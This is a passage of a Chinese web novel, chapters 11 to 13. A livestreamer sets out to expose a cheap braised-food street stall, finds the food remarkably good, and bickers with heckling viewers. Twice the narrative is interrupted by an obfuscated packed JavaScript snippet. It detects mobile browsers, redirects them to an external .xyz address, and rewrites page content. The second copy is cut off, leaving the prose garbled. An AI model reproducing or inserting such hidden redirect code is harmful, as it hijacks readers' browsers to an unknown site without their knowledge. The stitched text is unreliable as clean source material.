杨东旭看着眼前的高楼，这也就是个普通住宅区。 这会几辆看起来颇为破旧的不锈钢小推车边上还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14913640|159122||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有摊主在预热着碳火，一旁还有老板娘正把冻成冰坨子的鸡爪用力砸着分离。 对面那个起号博主就是吹再大的牛皮，这也不是个畅卖大火的地啊！ 杨东旭对今天的打假安排更加自信了。 这会时间略有些早，但这条小吃街上已经有不少摊主开始张罗着菜品。 杨东旭一路向下走去，卖烧腊的，卖凉拌菜的看到不少家，却愣是没找到那家小地瓜上宣传的宋记卤味。 啧，不会被涮了吧？ 这要是带着直播间里一万多的活跃观众，从S市一路赶过来就为了上这么个当，他这脸都不知道往哪丢了。 杨东旭眉头愈发紧蹙，也无暇顾及直播间里观众的好奇。 他的步伐越发加快，四面观察找寻的动作也更加频繁。 走至街尾，杨东旭的眉头都快要拧成山丘，这一路不管怎么看也没瞅见宋记卤味这家摊位牌子。 “宋老板今天怎么还没来？” 杨东旭向前方望去，听见一个穿着藏蓝色呢纹衬衣的青年开口说道。 这一片的空地上虽然还没有摊位架着，可已经站了十来个人。 这里头男女老少都有，虽说聚在一起可彼此间依然保留着距离空隙，看起来不像是一家人出行。 最奇怪的是，这帮人还自觉地排成一路纵队贴着路边向后甩去。 “这我知道！群里有人说了，宋老板以后都晚半小时出摊。” 排在他后面一位挎着帆布袋的女生回答道。 “为啥要晚半个小时？”衬衣青年的疑惑搁着黑框眼镜都藏不住，可很快他又反应过来。 “群？什么群?我咋不知道宋老板还有群了！” 衬衣青年的脸上满是背叛感，怎么一个不留神就这么被时代给甩下来了！ 身后好远处，另一个穿着卫衣的胖胖的男生接话道：“宋老板还没进群呢。” “就是昨天排在后半段还没买上卤菜的，有人说建个群，以后大家晚上能义务通知下大概啥时候卖完，后面还没回来的也知道用不着摆摊了。” 女生接着道：“昨天收摊的时候有群友去问宋老板出摊时间是不是固定六点了，宋老板说从今天开始，以后出摊时间往后面推迟半小时，不然很多上班族回来连卤菜味都闻不到了。” 饥饿营销，哗众取宠。 杨东旭听着他们的对话，心里默默点评。 “你们这会就是在等宋记卤味出摊吗？她家就是在这个位置对吧？” 杨东旭上前问道，虽然心中已经有了七八成把握，但总归还想再确认一番。 “是呢，就是她家，不过宋老板还没出摊呢。” 衬衣青年回道，他好奇地看向杨东旭，这人听口音也不像本地的，宋老板家的卤味竟然这么快名气就传到外边去了？ 今天是宋老板出摊的第三天。 也是林峰来买卤菜的第三天。 自打他那天买了宋老板的卤菜，林峰终于明白了。 勇气是上天赐予他的武器。 但凡他因为曾经的挫折，就丧失了不断开拓进取，敢于尝试的精神，那他哪里还能吃上那么好吃的卤菜！ 若按往常习惯，在摊位上闹出个不付钱的乌龙，以林峰的薄脸皮，恐怕好阵子——在确定摊主已经忘记自己之前——他都不敢再去光顾。 食欲战胜了羞耻心。 第二天下班，林峰跑得比谁都快，不过等排到他时，桌上第一锅的卤菜也已经快完了一大半。 强烈的危机感成为悬挂在他头顶上的达摩克里斯之剑。 宋老板这延迟半小时的决定简直安排在他的心趴上。 他不怕排队，大不了早点来这站着玩玩手机，刷刷视频。 他只怕这越来越多的食客蜂拥而上，等他下班回来只能看到宋老板收摊的身影。 “来了来了！我看见宋老板了！” 杨东旭闻言看去，一个穿着黑色背带裙的女生正推着小推车，缓慢地从前边的小区后门走出。 或许因为东西太沉，宋晚秋的步伐并不算快，远远望过去，也就一个可折叠的箱子推车，上面放着两个大的保温桶，好在推车的万向轮似乎经过改造，看起来大而结实。 杨东旭目瞪口呆：就这么简陋？！ 11.第 11 章 杨东旭目瞪口呆，举着摄像头愣在原地，好半天才回过神来。 面前的女生动作干净利落，三下五除二就从推车框子里将两大桶装满卤菜的保温桶端了出来。 宽松休闲的棉质衬衣长袖被卷到胳膊上，宋晚秋腰部微沉，双手齐发力，精瘦的手臂上隐约透着流畅的肌肉线条。 宋晚秋拿出框内的不锈钢餐盘和卡式炉，又将写着名字的布招牌抖开，绑在推车左右。 前后约莫也就一分钟的时间，整体摊位已经初具雏形。 【这小姐姐手脚真利索啊】 【神速秒出摊！收摊要是也这么麻利八个城管也逮不住她】 【旭子是不是又被大A抄家了？怎么还沦落到吃地摊了？】 【就这？就这？】 杨东旭缓过神来，刚想向摊位走去，就被一道呵斥声叫住。 “怎么还插队呢！老老实实排队去！” 一个拄着拐杖，却格外精神抖擞的老大爷开口怒喝道，声音大得跟揣了个大喇叭似的。 “看你穿着也是个体面的，怎么还想着插队！一点素质都没有，想买卤味去后边拍着去！” 杨东旭被臊了个脸红，他可没有插队的意思，想要开口解释可眼瞅着这老大爷的威风，只得闭口灰溜溜去了队尾。 不看不知道，刚刚才十来个人的队列，这会子不知道从哪里冒出来这么多人，浩浩荡荡往后头已经排到街尾了！ 就是深山老林里长蘑菇也没这么快的吧！ 杨东旭伸手把便携摄像机卡在外套的胸口口袋处，朝着队列后面走去。 走到街尾的炸串店，才发现这拐角后头还藏着五六个人。 这下是彻底无语了。 “不是兄弟，你们这都是从哪冒出来的啊？我刚刚瞧着也就十来个人呢。” 杨东旭老老实实走到最后一个位子，朝着前边一个穿着家居睡衣和棉拖鞋的男生开口问道。 “你不懂。” 许铭一双手环抱，嘴角微微向上，“山人自有妙计！” 宋记卤味的摊主在她自己可能都不知道的情况下，早已经在这个小区出名了。 虽然还不至于被打探到具体的楼层楼号，但以郑大爷一行的“社区安检调查员”群体为代表进行侦查，早已对她的出摊行踪了如指掌。 作为【宋记卤味出摊群】的新群友，许铭一自然提前知道今天宋老板要延迟出摊。 六点二十六分，占据天时地利，正好住在宋晚秋隔壁两栋楼的他，搁着阳台的窗户远远瞧见宋老板推着小车出摊的身影。 他赶忙衣服都不换，揣着手机就下楼，反身一转从小区前门杀出。要不是他动作还算协调，这一路小跑，拖鞋都快跑飞出去了。 而这会，排队买卤菜的队伍刚刚甩过街尾的拐角处。 若是按着一般思路，加速下楼跟随宋老板的步伐从后门出来，倒是也能与她一起抵达摊位。 可到了那会儿，排队的队列不知道得有多长了。 一切尽在计算之中。 许铭一是自由职业画师，平常在网上接接单子画稿来谋生。 常年在家不爱出门的他，前天正好因为最爱点的那家外卖店临时休店打烊，难得出来觅食一次，就正好买上了宋老板第一天出摊的卤菜。 打包回家后，那份卤菜让原本只拆了一盒的复热速冻米饭被迅速消灭，最后硬生生把许铭一的肚子撑得躺在床上发饭晕。 他慢慢缓过劲来，可仍然残留在舌尖上，专属于菜品的美味和幸福感却在许铭一心中迟迟难以褪去。 借着这股幸福感，许铭一的拖延症难得没发作，一鼓作气画好商稿，把带有水印的图片发给甲方过目。 新时代周扒皮【？】 新时代周扒皮【这次交稿子这么快，都不用我催了？】 鸽一下怎么了【没问题了麻烦打下尾款，尾款到账后发您无水印原图】 没过两分钟，许铭一的银行卡账户就弹出信息。 “【工商银行】13日23：19分账户*2954*汇款汇入收入8000元，余额34230.92元。” 鸽一下怎么了【怎么多打两千？原先不是说好的六千吗？】 许铭一疑惑地点开银行通知信息，这周扒皮啥时候这么好心了？ 新时代周扒皮【这次这个效果我很满意】 新时代周扒皮【炫酷中不失格调，很好，非常好 （龇牙笑,jpg）】 新时代周扒皮【多的两千当奖金，下次单子继续坚持这个水平！（竖大拇指.jpg）】 许铭一拍了拍脑袋，生怕自己在做梦。 这周扒皮啥时候那么好说话了？ 往常交个稿子，不被打回来返工改稿个十几遍都可以烧高香了，这回竟然一次就过了还这么畅快地结尾款了？ 许铭一打开电脑，点击源文件，看着看着，自己也忍不住欣赏起来。 这次的单子他也是许久没画得那么顺畅过了，从草稿到最后的上色，整体一气呵成，整体无论是精细程度还是氛围营造都十分完美。 不愧是我！ 带着顺利收款的兴奋和满心自豪感，他难得没有再熬大夜，只是睡前脑子还记挂着，明天还想吃卤菜。 第二天吃到宋记卤味的许铭一，依旧早早画完了积存着的快到ddl的稿子，迅速上了游戏。 他的基友之前收到过这小子闭关赶稿的消息，一时惊讶怎么拖延症又发作还跑来打游戏了。 不过转头想想，这鸽子说一出是一出，这也正常。 可一经细问，基友瞬间破防。 都有朋友，彼此对对方的脾性都知根知底。他自己也是好几个单子快到期了也还没画完，许铭一怎么可能这么快就结单。 【把我认识的许鸽子还回来！那小子怎么可能两天就把单子画完还提前截稿？】 鸽一下怎么了【曾经的我只想以普通人的身份跟你们相处。现在我不装了，我摊牌了！我就是神级画手，从来没鸽过！】 许铭一并没有将自己最近的进步和格外不同寻常的效率与宋记卤味联系起来。 不过，他是搞艺术的，对于这些异常现象，自有自己的一番理论。 别人的缪斯可以是美女帅哥，那他许铭一的缪斯是卤菜咋啦！ 闻着宋记卤味的香气，许铭一腰也不疼了，腿也不酸了，只觉得自己气血都活络了，恨不得一天画十张，画完开启Happy Game，再也不担心被催稿。 队列末，杨东旭看着前边这个穿着睡衣的男生，更加哑然。 这一个个怎么都神神叨叨的呢。 他掏出手机，打开直播间。 主播旭日东升【怎么感觉这些人都不大对劲啊】 锦上添炭【排队人有那么多吗，主播刚刚好像往后走了好远】 丛林【不会是摊主请的托吧？现在这些店一个个都爱找些群众演员，我之前去买奶茶，人直接在商场里雇了十来个老头老太太，搁那连环排队，演都不演了】 爱生活爱旭哥【不一定吧，就这地摊请啥托，排队的一人一个土鸡蛋？】 狼藉天涯【是不是看一会走动速度就知道，真是请的托，都知道得给客人让道，没两分钟就排到前面了】 大A永生【主播还是拉了，人家开吃播都是带大家伙吃什么帝王蟹澳龙的，旭子直接拉着吃地摊】 队列不断向前涌进，没过太久杨东旭就已经走过了街拐角，这会子直播间已经被清一色的弹幕刷屏。 【队托实锤】 偏偏这会，杨东旭没再继续闲聊，眼神望向大前方，一言不发。 一阵风吹过，宋记卤味的简单摊位上，宋晚秋依然忙个不停。 熟能生巧，她现在一次出三份餐已经不成问题，一秒不到基础的热卤配料都被撒到碗粥中，娴熟的操作让客人们忍不住细细观赏。 宋晚秋身侧的卤汤锅冒着阵阵向上的热气，随着这股突来的风吹到街尾。 排在前一位的许铭一抬着头，紧闭双眼用力吸气。 “就是这个味！”他表情陶醉，像是喝了高度白酒一般，几乎要沉醉这股卤香之中了，“怎么感觉比之前还香呢？” 前排一个带着孙子的老婆婆回应道：“这卤味就是得越熬越香，要不那些卤味店怎么天天吹着自己是什么百年老卤的。” 老婆婆哄着自己嘴角流出泪水的小孙子，安慰着他马上就能吃上了。 “不过说到底还是这小老板手艺好，就是之前出摊的新鲜卤子也好，今早上我家还特地拿昨天剩的卤汤下面条，我家小宝今天连汤都喝完了！” 许铭一听了如遭雷劈，他之前怎么没想到呢！ 前几次他都是让宋老板正常打包，也没让人特地多加汤，碗里剩的那些汤汁都被他拿来拌饭了，从来没想到还有煮面的方法。 许铭一好奇地打探道：“婆婆，这卤汤煮面要怎么弄才好吃呀。” 老婆婆怀里的小孙子可算是被哄着没再苦哭闹，她牵着小孩的手，上下打量着许铭一。 “你平 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在杨东旭看来，那些被吹出天际的百年老卤汤底也不过就是那么回事。 传统的卤菜食材基本都是普通的时蔬，甚至经常用些猪下水，以此作为佐酒的下酒菜。 味道虽然不错，足以走进百姓餐桌，但始终不足以同其他高级别的精品菜相提并论。 老婆婆笑着说道：“小老板的卤菜是真的不错，我家谁吃都说好，我这小孙子一向挑食，吃个饭恨不得大人在背后追着跑，昨天吃着他家的卤菜，自己就老老实实拿着勺子端饭吃了。” 诱食剂，说不定加了诱食剂。 杨东旭刻薄腹诽。 “确实，我平常可容易失眠了，昨天吃了他家的卤菜，直接一觉睡到天亮。” 另一个年轻人也在边上回应道。 做戏真是一套接一套啊！ 杨东旭内心的吐槽一波接一波，这家为了卖卤味培训课也真是拼了，又是请人排队又是排练这些。 队伍很快走到摊位前，桌面上的餐盘里已经只剩下四分之一，往后远远一瞄，第一个超大号保温桶里已经只剩下残留的卤汤。 “您好，素菜一元一串，荤菜两元，主食方便面三元一份。” 宋晚秋眼疾手快，汤锅里的卤菜复热得恰到好处，又记着这位客人要打包带回家，漏勺里的方便面趁着还有些硬度就捞起来放入碗中。 拖之前上班被人当牛马使唤的福，八百个项目杂活同时涌来，如今适应摆摊的宋晚秋已经可以轻松做到一心多用，一边忙着出餐一边招呼着下一轮的客人。 价格倒是也不贵。 杨东旭听到后，跟着排在前面的动作，从边上挑出纸筒，自己自助拿菜。 价格便宜说明什么，说明这人想在培训费上敲人竹杠！ 就这个卖价，怎么可能达到她说的第一天的毛利率。 “奶奶！我还要！我还要吃这个！” “好好好，咱们小宝多吃点，身体才能长得壮壮的！”向来节俭的老年人遇到隔辈亲，勤俭节约的习惯一下子抛之脑后。 杨东旭小心地将摄像头调整好位置对准摊位，没多会儿就听到一道温柔的女声。 “调料有什么忌口吗，吃得了辣不？” “正常放，微辣就行，不用打包，我拿着吃。” 杨东旭看着摊位，女摊主低着头，头发被刻意得盘起，面部遮着口罩，让一些对地摊食品安全充满担心的顾客也多了一份踏实。 宋晚秋右手指尖微动，迅速数完签子数量，抬起头来。 一对大而透亮的黑棕色明眸看向杨东旭，眼尾还带着一丝难以察觉的笑意。 “一共二十三，左边和右边都有付款码。” 杨东旭让拍摄范围避开了收款二维码，没过多久一份未封盖，冒着热气的卤味就送到他的手中。 杨东旭吸了吸气，加了调料跟辣椒的卤菜味道更香了。 低头看着菜的品相，以这个卖价来已经格外出色了。 经过卤制后的菜品都带着卤汤特有的色泽，但并没有腌制过度变成色泽深沉软塌塌的模样。 食材一个个透着鲜艳的色彩，搭配饱和度浓郁的葱花香菜和红油辣椒，让人口舌生津，食欲大增。 杨东旭试探性地拆开一次性筷子包装，从里面夹了一块海带结。 ？! 怎么会是这么个味道！ 12.第 12 章 柔韧而软烂的海带结在杨东旭嘴里爆开，两端的叶片的厚度并不均匀，但已经被卤制入味的叶片因为这并不均衡的厚度在口感上更添了几分独特。 中部打结的部分咀嚼起来韧性更强，杨东旭一口咬下，其中更是暗藏玄机。 刚刚才从锅中复热完毕的卤菜还带着热气，牙齿轻咬的瞬间，内部微烫的汤汁在口腔中入水幕一般溅射开。 只怪刚刚太大意，动起筷子来竟然直接一口塞入了嘴中。 杨东旭被那口卤汁烫得龇牙咧嘴，眼睛都皱了起来。 可这一时半会，他舍不得吐出来，忍着这股子烫嘴的卤汁在嘴里直晃悠，缓了好半晌才咽了下去 停留时间越久，杨东旭越发察觉到这卤味的不同。 作为新鲜卤子，卤汁很难达到这般混元一体的境界。 这汤底的比例尝起来恰到好处，其中独特的浓郁风味更是让他回忆起曾经在一个南部小镇上吃到的特色烧腊。 一直以来，杨东旭都把那家店视为自己的卤菜心头好。 那个地方的卤味可是出了名的好，价格自然也上了个档次。当地的特色卤味烧腊已经成了上级市区的对外宣传名片。 若是临时出差来的客人在尝过卤菜后也免不了买些礼盒装的伴手礼给亲朋好友送去。 杨东旭此前参加短视频行业大会时，顺路去过一趟，经朋友推荐找了一家名声不显却在当地人之中口碑甚好的老店。 这家老店所说的百年老卤可不是那些打着百年老店宣传旗号的品牌能媲美的。 店里正当事的是个五六十来岁的男人，旁边还有个二十出头的儿子在那学习磨炼，不大的店面里都是自家老婆儿媳，还有邻近的亲戚在帮忙。 朋友喝着酒跟杨东旭闲谈，说是这家陈氏烧腊可是正宗的百年老店，从他老太爷那一辈起就开始忙活。 店里的老卤水是真养了近百年。 目前这陈氏当家的把这秘方老卤分了好几份藏起来，说是连他儿子都不知道其他几份的具体位置。 陈氏烧腊的名气不比其他店，更像是本地老一辈人和精准老饕们才知道的小私房。 桌上端来的一份秘制五花，价格跟其他店面比起来几乎贵了五倍，整体处理上也更加精细，只取了最精华的部分。 躺在特制的大号瓷碟釉面上，显得格外精致小巧。 杨东旭用筷子轻轻敲着五花的背面，金黄焦脆的外壳咔咔作响。先卤后煎炸的做法，让这块精品五花的色泽变得更加层次分明，饱满澎湃。 吃到嘴里，只觉得这陈氏烧腊的味儿的确不俗，倒也对得起这五倍的菜价。 百年老卤的底蕴在那几道卤味中再次出鞘证明自己名不虚传。 杨东旭不是专业的美食老饕，自然也说不上那老卤究竟是怎么个好法。 只觉得跟其他卤菜相比，有着更多沉淀的陈氏烧腊的卤汤的确更加浓郁厚重，层次更多。 可今天，这家地摊上的卤味竟然有着不逊色于陈氏烧腊的美味？！ 杨东旭右手没停，不断地从碗中夹菜，大快朵颐的样子看得后边排队的客人更加眼馋，不由得踮起脚再数数还有几个位置才到自己。 对比这会杨东旭的沉默，直播间里的弹幕倒是一下子呈井喷之势。 【？】 【旭子，说词啊！】 【我在等直播，你在等什么？】 作为老粉丝，直播间里的观众对【旭日东升】在户外直播时不爱跟弹幕闲聊也是心知肚明。可今天大伙就冲着打假来的，这菜也吃了，人也赶到了，怎么一下子不说话了。 锣鼓都齐鸣了，这唱戏的怎么还甩了袍子罢工呢！ 杨东旭这会是真的沉默了。 他不能理解啊！ 有这手做卤菜的手艺，这个小博主不去创业开店怎么还去上班，上班也就算了还最后被开除失业出来摆地摊求助？ 硬生生设圈套把他从S市骗过来打脸是吧？ 不去靠这卤菜手艺扬名立万，搁这居民区摆地摊当小摊贩？ 杨东旭看向摊位，扫了一眼重新瞅见一旁“素菜一元一串”的招牌，眼皮更是忍不住抽抽。 做慈善呢？ 以他的家境，没少尝过好东西，自然能品出刚刚那碗卤菜里的食材滋味不俗。 杨东旭唇舌微动，回味着刚刚咀嚼的鸭心，心中也是有些疑惑。 这般口感的鸭内脏，他之前可从未尝到过。 国内目前有哪家专做这类精品食材的供应商吗？若是进口的，以这样的质量，他怎么从前也没听到过？ 不应该呀，比起以前品尝过的特级精品鹅肝，论食材的品质，这鸭心也不在其下。这种水平的供应商，名气肯定也不小了。 杨东旭略微尴尬，走向摊位前。 他支支吾吾刚想张嘴，就被眼尖的顾客喝止。 “还想买也得到后头排队去，可不兴插队啊！” 这一轮选菜的后面，几个年轻小姑娘紧紧盯着杨东旭，眼中满是警惕和打量。 哼！ 她刚刚可就看着了，这小子鬼鬼祟祟的，一看就是第一次吃宋记卤味。 吃完一份尚未满足，恐怕是还想来插队复购。 想屁吃呢! 现在宋记卤味的客人里，不管是出于朴素道德还是民间群聊中的规矩，都已三申五令，达成共识。 首先，不准大包大揽，把后面客人路走绝没得买。他们更怕做得太过分，万一直接逼得宋老板出个限购令！ 单身打工的小年轻倒是不怕，一人吃饱全家不饿，可这有家有室的要是被限购，买完菜回去不得被家里人撕碎了。 再说了，人家小年轻也想多吃点啊，好菜哪嫌多？ 其次，严禁插队。 正所谓我为人人，人人为我。今天你是早早下班了，焉知明日会不会有被迫加班的一天。 宋记卤味的火爆从出摊第一天就没停下过，早早收摊潇洒回家的是宋晚秋，可在后头含泪咬手绢的可是他们自己啊！ 要是任由插队，伤的不止是后头排队的左邻右舍，还有往后姗姗来迟的自己。 最后，也是最重要的一点。 不准宣传宋记卤味！！！ 如今宋记卤味的供需矛盾实在是过于突出，就连小区内嗷嗷待哺的邻居们都难以日日满足。 有好事者频繁劝宋老板加大产量，若是真的卖不完他们也愿意收尾统统打包。 可这劝着加产量的声音通通被拒绝，除了第二天出摊加的那一桶，宋老板之后再也没松过口。 就连别人劝着帮她出资开个店，这样一天卖得更多，干活也更轻松的主意，也都被宋晚秋拒绝了。 旁人不知，只觉得是属于小宋老板的独特脾气。 却不知目前的产量已然是宋晚秋的极限了。 她的识海因为精华提纯能力虽然已经得到提升，但目前的提纯数量和出餐工作量若是再扩大，岂不是一整天都得手忙脚乱，马不停蹄。 她打工当牛马的时候被无良老板磋磨着一天天净忙得脚不沾地，这要是自己摆摊还得忙成旋风小陀螺。 那我宋晚秋这摊主，不就白当了！ 摊位左侧，杨东旭哭笑不得，今个儿怎么就这么巧，梅开二度又被人认为是插队的了！ 不敢想那群“黑粉”要怎么取笑他，一天被骂插队两次，次次都有新感觉。 杨东旭在这帮小姑娘的眼神示威的监视下向后望去，这队又是排到后头去了，粗略扫一眼也不知道拐角处又是甩到哪去了。 他叹了口气，瞧着这阵仗，若是重新去后面排着，恐怕已经买不着菜了。 不对！ 我根本就没想插队！ 杨东旭拍拍脑袋，怎么就跟着这群小姑娘的思路跑了。 刚刚买的量不算多，被她们那么一说，心里的确还想再买些卤菜，可他从来没想着插队啊！ 他看着望不见头的队列，老老实实 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“她家这个口味和品质，合资入股的可能性更大一些，收购肯定谈不成。不过就这个品质来说，说不准就是出来打打闹闹，也不会长期做。” 杨东旭二郎腿一翘，背部倚倒在椅子上。 “有H市本地的朋友吗？我建议大家都可以来尝尝，不在繁华里附近的也一样，他家味道你就是开车过来吃也不亏。” “真要说的话，我今天从S市跑过来也是不算亏。” 他拿出手机解锁，想回复一下弹幕却被这帮“黑粉”喷子扫射。 【夕阳?你也干了？】 【收钱实锤】 【看你小子浓眉大眼的，怎么也叛变了！打广告嘛，不寒碜！】 【寒碜！很TM寒碜！你就不能大大方方的打广告？非得把大伙骗进来杀】 【让我们庄严宣告，我们敬爱的博主夕阳西下，著名餐饮反加盟教主，韭菜里的先锋队长，终于也倒在了恰烂钱的道路上！】 杨东旭看着弹幕，眉头一皱，整张脸险些气红温！ “谁打广告了？压根就没收过人家钱！我旭日东升可从来没打过广告。人体工学椅？那椅子的事能叫打广告吗！” 杨东旭信誓旦旦，说到后头甚至有些口不择言：“我这可是第一次给大家诚心推荐！我当自己开的火锅店都没给你们打过广告好不好？” 此话一出，直播间内的粉丝也被他这自损一千的打法给沉默了一瞬。 【终于承认火锅店是你开的了？】 【不是说同名同姓？某人从来没投资过火锅店？】 餐饮行业水太深，火锅加盟怎么能算开店，你们这帮子黑粉，怎么凭空污人清白！ 粉丝笑了，夕阳老狗，听说你前阵子重仓的白酒又跌停了？火锅店下了团购后三天一个客人都没来？ 杨东旭灰溜溜地辩解，股票的事怎么能算跌？等我拉个杠杆补个仓，只要没割肉那就是赢，等后面花好月圆人团聚的日子来了，白酒肯定大涨！ 再说实业兴国，火锅店倒闭纯粹是合伙人管理不善，跟他有甚么关系，他可没有亏！ 房管呢？ 给我把这帮黑粉全封了！ 杨东旭面红耳赤，这起子小人怎么净往他伤口上戳，他不再争辩，开口道。 “我这回真没打广告，没吃着的可别怪主播事先没提醒。再说了你们这帮人也不想想，我这广告费也不便宜，要是人家找我打广告多久能回本啊。” 【万一找你后，一路营销连锁加盟上市一条龙呢？】 【那应该不是打广告，找旭子做广告上市第二天就得退市了】 “去你的吧！”杨东旭无语，“真没骗人，不信的自己来吃！真是假的我直接把之前因为说火锅店拉黑的那批号全解封了！” 【一言为定！】 【我是H市本地的，我明天就去！必须让夕阳大赦天下把我号放出来】 13.第 13 章 先前因为那家悄悄开的火锅店飞速倒闭，调侃的人实在太多。杨东旭恼羞成怒后亲自上场把这帮“黑粉”的账号拉黑了3650天。 不过他们素来相爱相杀已成习惯，被封之后一众老粉熟练切号，继续撕裂杨东旭不欲多谈的伤口。 “后面最多还能出六份，排在第六个往后的客人不用再排啦！” 耳边传来女摊主清脆的声音，杨东旭把手上的水果捞盖上盖子打包，也没直接丢到，拎着袋子就往摊位走去。 宋晚秋应着最后一位客人的要求把盘子里剩的卤菜通通清盘，坚定地做个心如磐石的冰冷女人躲避着迟迟不愿放弃的第七位客人祈求的眼神。 眼见宋晚秋已经动作麻利地收拾餐盘，整理打包盒，杨东旭立刻迎了上去。 “您好，您的小地瓜ID是秋秋人吗？” 宋晚秋收摊的动作一顿，略有一丝尴尬。 在三次元现生听到别人叫自己网名，实在是有种莫名的社死...... 宋晚秋没应声，可一双眸子里的困惑挡也挡不住。 杨东旭看着她的双眼，一时脑子也有些混乱了，不由得开口解释道：“我是看到你发的私信找来的，我的ID是【行业冥灯】，你叫我老灯就行。” ？ 还有这种叫法？ 宋晚秋愈发困惑，二人四目相对，本就有些尴尬的气氛中似乎更缺氧了。 杨东旭话音落地，迅速意识到自己说的不对，连忙纠正，“不对，你叫我小灯也可以。” “噗!” 宋晚秋的笑意漫上眼梢，乐得直不起腰。面前的杨东旭更是面红耳赤，想把那胡言乱语的自己找个地缝塞起来。 “好啦，我能明白你的意思，冥灯哥。” 宋晚秋当然记得他，要不是这位冥灯哥，她一时半会也没那么快决定做卤味。 有些生意看起来不大，赚起钱来还真不少。 就目前这一天两桶的卤菜，靠着“一元一串”的平价走量，宋记卤味每天的净利润都在两千元以上。 晚上一小时完成出摊收摊，下午边穿签子备菜边追剧，摆摊的日子让宋晚秋长期套着缰绳的牛马灵魂得到了净化。 从前单休还被不断奴役，深夜十一点半还要接到弱智领导工作建议，最后到手三千不够赔精神损失的日子终于过去了！ 谁说这摆摊苦啊？ 这摆摊日子可太好了。 杨东旭不断给自己的神经降温，想为形象挽下尊，“你管我叫旭哥就成，旭日东升的旭。” “这是你出摊第三天吗？” 宋晚秋点了点头。 杨东旭有些迟疑地看了看还没收拾完的摊位，还是忍不住将自己的满腹疑问抛出。 “你就带着这么个小推车就出摊了？以你目前的定价，定得这么低还有赚头吗？” 不是他过于挑剔，杨东旭虽然是行动矮子，可不妨碍博学多才的他，在商业知识上是个理论巨人。 这一路过来，附近的卤味店还真不少。便是环顾美食街上的其他夜宵摊位，从地理位置来看，宋记卤味的位置也是最差的。 选位置自然得优先选择人流量较大的地方，可宋晚秋的摊子却偏偏安在美食街的尽头。 左边是地下车库入口，右边是住宅区的后门，这客流任谁看都得跟摊子擦肩而过。 再退一步说，这摊位未满也太简陋了！ 夜市里很多小摊都喜欢找广告公司做一些饱和度高，亮度格外强的灯箱招牌，就是为了先声夺人，把顾客招呼过来。 杨东旭环顾四周，他严重怀疑这小老板真就光给这买菜车的轮子换了个大号的改造了下。 这布艺招牌的样式怎么也越看越像是自个儿DIY的？ 不说花钱买个电动小三轮出摊，购置个不锈钢餐车也行啊！ “嗯...”宋晚秋有些磕巴地解释道：“这不是确实没什么原始资金嘛。” 她发帖的时候说自己存款不到五位数，其实是给自己面上贴了点金。 去掉后面要交的房租、备货要用的菜钱、生活费等等，钱包里能拿出来的剩余资金实在不多。 她上个月的工资还有辞退赔偿都还在走仲裁程序，买个二手餐车、电三轮都得好几千。 不花立省百分百！ “而且旭哥你今天来应该也看到啦，我这里虽然单价低但是客单价不便宜，整体营收和出货压力都挺好。” 第一天售罄后，宋晚秋兴奋地反复看账单收入，原本近乎干瘪的钱包一下子宽裕起来。 “不可能吧。”杨东旭无情戳破，“你这个食材进货价就不便宜吧，拿高级食材摆地摊，这是搞行为艺术？” “嗯，有秘密进货渠道哈~但是原材料绝对没有想象的贵哦。” 宋晚秋略有些尴尬地眨了眨眼，眼神中透着一丝狡黠的光芒。 杨东旭看着她这一副摆摊新手的模样，愈发无奈。 真是菜鸟克高手！ 他当初为了开店到处考察人流量，在商场边仔细观察客流和附近店铺客单量。又是发挥全部心血给自家火锅店做全套的品牌策划。 开店后，优惠券、新客引流、老客回访，社群运营一条龙套餐更是做得一套一套的。 他自认自家的菜品和锅底味道都不错，可最后竟然还是遭遇巨大滑铁卢，只能含泪关门。 可这小姑娘！ 这选址选品全都跟商业常识相悖，偏偏生意搞得这般红火。 一瞬间，杨东旭感觉自己快要苍老十岁，莫非做餐饮真是味道取胜？可明明这 还是自己实在是水平太次、运气太衰... 他揣着好奇心询问道：“小老板，你这卤汤汤底是家传的配方吗？” 宋晚秋被问得一愣，不过也没掩掩藏藏，诚实道：“没啊，就是我从百度上找的配方？” 此话一出，杨东旭被雷了个彻底。 虽说能看出来你这是野路子，但你这也太野了吧？ 有你这么做生意的吗！ “百度搜出来的方子有这么好吃？”杨东旭的眼神中透露着质疑。 宋晚秋面不红气不改，解释道：“做了一定的调整嘛，但是大体是依着来的。” 金舌头0818在二十多年前错误投放的一级味觉灵敏虽然给她造成了长期的生活不便。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14927764|159122||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 但这份长期伴随的困扰也在宋晚秋开始摆摊后为她提供帮助。 中餐妙在一个适量，百度得来的卤汤配方本身的配料就已经十分丰富。经由宋晚秋熬煮后，已然成为不错的珍品。 但过于灵敏的味觉，让宋晚秋在试菜过程中能轻易地把握香料比例，用不可言的直觉对卤汤不断调整，使得其融为一体，配比达到多一分则杂，少一分则淡的玄妙境界。 宋晚秋不好意思地检查了下保温桶，真是一点菜叶子都没剩下，沉底的卤汤都被最后两位顾客打包走了。 “旭哥，现在确实没什么卤菜了。”宋晚秋真诚地看向面前的男人，“我加下你微信吧，你下回来可以提前告诉我。我单独开个小灶请你吃。” 杨东旭的心绪顿时被这话给挥散，只顾着点头，连自己已经定好的明早回S市的车票都给抛之脑后。 嘴上虽然不说，他现在可是对自己刚刚排队就买了那么点卤菜耿耿于怀。 客单价平均30元算什么？ 他要是在这常住，这点数字可拦不住他！ 这些天来，宋记卤味在繁华里这边像是成了个没影的传说。 